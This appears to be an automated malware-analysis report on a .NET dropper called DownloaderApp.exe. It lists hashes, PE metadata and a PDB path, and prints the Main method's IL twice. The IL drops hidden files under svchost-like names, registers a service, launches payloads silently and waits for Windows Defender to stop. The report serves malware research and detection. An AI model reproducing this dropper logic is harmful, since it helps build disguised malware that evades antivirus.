Deep Malware Analysis of 1f8f1a5de4f7ca72c5f02eb84ff22917 | md5: 1f8f1a5de4f7ca72c5f02eb84ff22917 | Executable | PE (Portable Executable) | Managed .NET | PE File Layout | Win 32 Exe | x86 | PDB Path | .Net | SOS: 0.35

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Symbol Obfuscation Score Medium

MD5	1f8f1a5de4f7ca72c5f02eb84ff22917
Sha1	03194c385186d3c30598c5f0ead51b4e1638cdd7
Sha256	7a3ea1f8ddff3751f6148c6f7da2aa702ad053ba7c7a182b9a94faf2b3b44a43
Sha384	3f2bd5ab219f4cc006778714489843793362d8000fb45dc33845b616f3a75a19cfdc940f17f1a81335537729afeea306
Sha512	b2dd328b1a1803a62910c0f3d96845437a0331a3de14eb139d0808c0ffbbdf3212124372b19cf72d5adb74581e14f2f6378c4cd273e38325af826f43203ea6c0
SSDeep	98304:0Kxh1pmniRvew+9r+4G1nHI2uGhRvnE/wHIvO97N:b7pmvwKq4G1o2u+RfCwHKQ7N
TLSH	723633558BF5263AF8BAD03DEDEA045D9F257C40E72FC94E0E405872A92ED04E4D9BC2

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual C++ v6.0 DLLMicrosoft Visual Studio .NETUPolyX 0.3 -> delikon

Name	Value
Info	PE Detect: PeReader OK (file layout)
Info	`PDB Path: C:\10\boot\Downloader_winer\DownloaderApp\DownloaderApp\obj\Release\DownloaderApp.pdb`
Module Name	DownloaderApp.exe
Full Name	DownloaderApp.exe
EntryPoint	System.Void A.B::Main(System.String[])
Scope Name	DownloaderApp.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	DownloaderApp
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.7.2
Total Strings	29
Main Method	System.Void A.B::Main(System.String[])
Main IL Instruction Count	146
Main IL	call System.String System.IO.Path::GetTempPath() ldstr svchostmanager.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.0 <null> call System.String System.IO.Path::GetTempPath() ldstr svchostam.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.1 <null> ldstr VhYftoYw6eI2.qTyRnh.M4Vk ldloc.0 <null> call System.Void A.B::F(System.String,System.String) ldloc.0 <null> ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldstr VhYftoYw6eI2.G2ypo6.vb8 ldloc.1 <null> call System.Void A.B::F(System.String,System.String) ldloc.1 <null> ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) leave.s IL_0049: call System.Boolean A.B::C() pop <null> leave.s IL_0049: call System.Boolean A.B::C() call System.Boolean A.B::C() brtrue.s IL_00C6: call System.Boolean System.Environment::get_UserInteractive() ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_007F: call System.Void A.B::D() newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> call System.Void A.B::D() leave.s IL_008C: ldc.i4 3000 pop <null> leave IL_01AD: ret ldc.i4 3000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_00C5: ret newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ret <null> call System.Boolean System.Environment::get_UserInteractive() brtrue.s IL_00D8: nop newobj System.Void A.E::.ctor() call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase) ret <null> nop <null> ldstr svchosthelper.exe stloc.2 <null> ldstr systemhelper.exe stloc.3 <null> ldstr WindowsLogsHelper stloc.s V_4 ldc.i4.s 36 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) dup <null> ldloc.2 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_5 ldloc.3 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_6 ldstr VhYftoYw6eI2.ooNd4.YN02K ldloc.s V_5 call System.Void A.B::F(System.String,System.String) ldstr VhYftoYw6eI2.k9oOhu.ZCuP5 ldloc.s V_6 call System.Void A.B::F(System.String,System.String) ldloc.s V_5 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.s V_6 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) call System.Void A.B::H() ldloc.s V_5 ldloc.s V_4 call System.Void A.B::I(System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.s V_6 callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ldc.r8 3 call System.TimeSpan System.TimeSpan::FromMinutes(System.Double) call System.Boolean A.B::WaitForDefenderStopped(System.TimeSpan) brfalse.s IL_01A8: leave.s IL_01AD ldloc.s V_5 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_01A8: leave.s IL_01AD newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.s V_5 callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> leave.s IL_01AD: ret pop <null> leave.s IL_01AD: ret ret <null>
Module Name	DownloaderApp.exe
Full Name	DownloaderApp.exe
EntryPoint	System.Void A.B::Main(System.String[])
Scope Name	DownloaderApp.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	DownloaderApp
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.7.2
Total Strings	29
Main Method	System.Void A.B::Main(System.String[])
Main IL Instruction Count	146
Main IL	call System.String System.IO.Path::GetTempPath() ldstr svchostmanager.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.0 <null> call System.String System.IO.Path::GetTempPath() ldstr svchostam.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.1 <null> ldstr VhYftoYw6eI2.qTyRnh.M4Vk ldloc.0 <null> call System.Void A.B::F(System.String,System.String) ldloc.0 <null> ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldstr VhYftoYw6eI2.G2ypo6.vb8 ldloc.1 <null> call System.Void A.B::F(System.String,System.String) ldloc.1 <null> ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) leave.s IL_0049: call System.Boolean A.B::C() pop <null> leave.s IL_0049: call System.Boolean A.B::C() call System.Boolean A.B::C() brtrue.s IL_00C6: call System.Boolean System.Environment::get_UserInteractive() ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_007F: call System.Void A.B::D() newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> call System.Void A.B::D() leave.s IL_008C: ldc.i4 3000 pop <null> leave IL_01AD: ret ldc.i4 3000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_00C5: ret newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ret <null> call System.Boolean System.Environment::get_UserInteractive() brtrue.s IL_00D8: nop newobj System.Void A.E::.ctor() call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase) ret <null> nop <null> ldstr svchosthelper.exe stloc.2 <null> ldstr systemhelper.exe stloc.3 <null> ldstr WindowsLogsHelper stloc.s V_4 ldc.i4.s 36 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) dup <null> ldloc.2 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_5 ldloc.3 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_6 ldstr VhYftoYw6eI2.ooNd4.YN02K ldloc.s V_5 call System.Void A.B::F(System.String,System.String) ldstr VhYftoYw6eI2.k9oOhu.ZCuP5 ldloc.s V_6 call System.Void A.B::F(System.String,System.String) ldloc.s V_5 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.s V_6 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) call System.Void A.B::H() ldloc.s V_5 ldloc.s V_4 call System.Void A.B::I(System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.s V_6 callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ldc.r8 3 call System.TimeSpan System.TimeSpan::FromMinutes(System.Double) call System.Boolean A.B::WaitForDefenderStopped(System.TimeSpan) brfalse.s IL_01A8: leave.s IL_01AD ldloc.s V_5 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_01A8: leave.s IL_01AD newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.s V_5 callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> leave.s IL_01AD: ret pop <null> leave.s IL_01AD: ret ret <null>